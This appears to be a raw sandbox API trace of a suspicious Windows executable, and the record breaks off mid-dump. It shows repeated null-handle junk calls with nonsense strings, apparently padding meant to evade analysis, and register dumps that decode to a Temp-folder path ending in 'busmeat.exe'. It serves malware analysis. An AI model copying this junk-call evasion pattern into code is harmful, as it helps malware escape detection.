	[0065.454] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.454] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.454] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.454] FlushFileBuffers (hFile=0x0) returned 0
	[0065.454] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.454] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.454] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.454] FlushFileBuffers (hFile=0x0) returned 0
	[0065.454] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.454] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.454] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.454] FlushFileBuffers (hFile=0x0) returned 0
	[0065.454] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.455] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.455] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.455] FlushFileBuffers (hFile=0x0) returned 0
	[0065.455] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.455] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.455] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.455] FlushFileBuffers (hFile=0x0) returned 0
	[0065.455] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.455] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.455] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.455] FlushFileBuffers (hFile=0x0) returned 0
	[0065.455] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.455] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.455] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.455] FlushFileBuffers (hFile=0x0) returned 0
	[0065.455] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.455] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.455] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.455] FlushFileBuffers (hFile=0x0) returned 0
	[0065.455] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.455] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.455] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.455] FlushFileBuffers (hFile=0x0) returned 0
	[0065.456] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.456] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.456] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.456] FlushFileBuffers (hFile=0x0) returned 0
	[0065.456] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.456] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.456] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.456] FlushFileBuffers (hFile=0x0) returned 0
	[0065.456] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.456] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.456] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.456] FlushFileBuffers (hFile=0x0) returned 0
	[0065.456] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.456] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.562] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0065.562] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.072] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.072] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.072] GetConsoleCP () returned 0x0
	[0066.072] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.073] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.074] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.074] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.074] GetConsoleCP () returned 0x0
	[0066.074] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, 